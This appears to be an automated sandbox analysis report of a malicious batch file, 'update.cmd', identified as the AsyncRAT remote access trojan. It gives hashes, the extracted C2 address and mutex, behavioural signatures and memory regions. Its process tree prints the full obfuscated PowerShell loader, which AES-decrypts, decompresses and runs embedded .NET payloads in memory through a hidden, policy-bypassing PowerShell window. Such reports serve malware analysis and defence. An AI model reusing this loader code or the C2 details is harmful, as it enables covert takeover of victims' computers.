Analysis
-
max time kernel
135s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 16:36
Static task
static1
Behavioral task
behavioral1
Sample
update.cmd
Resource
win7-20231129-en
General
-
Target
update.cmd
-
Size
91KB
-
MD5
981e0374ab07b58ea53823122fe91be7
-
SHA1
a162c8fac692cf34db330384f577f017fa003751
-
SHA256
56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d
-
SHA512
edb3d2b49fd93462e12f6b67a9c476fdc4c085e684f127b110802d15545f2d62531239992fc21c07e2716a287da17b1efeaa150deb902c17bf59461be52a1043
-
SSDEEP
1536:W0Lad++Lr2vjYZRs6LTKZLZLNcUYv20oARdg59+AMlreZ3lVcJLhRMDTaPi2+YpA:VWsaLmZCtC9+plrS1VwLrME+Y6
Malware Config
Extracted
asyncrat
0.5.7B
Default
dhhj.duckdns.org:8797
AsyncMutex_6SI8OkPnk
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/5104-26-0x0000000007260000-0x0000000007272000-memory.dmp family_asyncrat -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 24 5104 powershell.exe 26 5104 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 5104 powershell.exe 5104 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 5104 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
cmd.exedescription pid process target process PID 5004 wrote to memory of 2328 5004 cmd.exe cmd.exe PID 5004 wrote to memory of 2328 5004 cmd.exe cmd.exe PID 5004 wrote to memory of 1248 5004 cmd.exe cmd.exe PID 5004 wrote to memory of 1248 5004 cmd.exe cmd.exe PID 5004 wrote to memory of 5104 5004 cmd.exe powershell.exe PID 5004 wrote to memory of 5104 5004 cmd.exe powershell.exe PID 5004 wrote to memory of 5104 5004 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\update.cmd"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\Admin\AppData\Local\Temp\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axnm1kpg.ltx.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/5104-20-0x0000000006D80000-0x0000000006DC4000-memory.dmpFilesize
272KB
-
memory/5104-34-0x0000000074880000-0x0000000075030000-memory.dmpFilesize
7.7MB
-
memory/5104-19-0x0000000005E10000-0x0000000005E5C000-memory.dmpFilesize
304KB
-
memory/5104-4-0x0000000074880000-0x0000000075030000-memory.dmpFilesize
7.7MB
-
memory/5104-5-0x0000000004DB0000-0x0000000004DD2000-memory.dmpFilesize
136KB
-
memory/5104-7-0x0000000005740000-0x00000000057A6000-memory.dmpFilesize
408KB
-
memory/5104-6-0x00000000055A0000-0x0000000005606000-memory.dmpFilesize
408KB
-
memory/5104-1-0x0000000004790000-0x00000000047C6000-memory.dmpFilesize
216KB
-
memory/5104-17-0x00000000057B0000-0x0000000005B04000-memory.dmpFilesize
3.3MB
-
memory/5104-21-0x0000000006E80000-0x0000000006EF6000-memory.dmpFilesize
472KB
-
memory/5104-3-0x0000000074880000-0x0000000075030000-memory.dmpFilesize
7.7MB
-
memory/5104-2-0x0000000004E00000-0x0000000005428000-memory.dmpFilesize
6.2MB
-
memory/5104-18-0x0000000005CA0000-0x0000000005CBE000-memory.dmpFilesize
120KB
-
memory/5104-22-0x0000000007580000-0x0000000007BFA000-memory.dmpFilesize
6.5MB
-
memory/5104-23-0x0000000006F00000-0x0000000006F1A000-memory.dmpFilesize
104KB
-
memory/5104-24-0x00000000071D0000-0x00000000071E0000-memory.dmpFilesize
64KB
-
memory/5104-25-0x00000000071F0000-0x0000000007202000-memory.dmpFilesize
72KB
-
memory/5104-26-0x0000000007260000-0x0000000007272000-memory.dmpFilesize
72KB
-
memory/5104-29-0x0000000009E10000-0x0000000009EAC000-memory.dmpFilesize
624KB
-
memory/5104-30-0x000000000A460000-0x000000000AA04000-memory.dmpFilesize
5.6MB
-
memory/5104-32-0x000000007488E000-0x000000007488F000-memory.dmpFilesize
4KB
-
memory/5104-33-0x0000000074880000-0x0000000075030000-memory.dmpFilesize
7.7MB
-
memory/5104-0-0x000000007488E000-0x000000007488F000-memory.dmpFilesize
4KB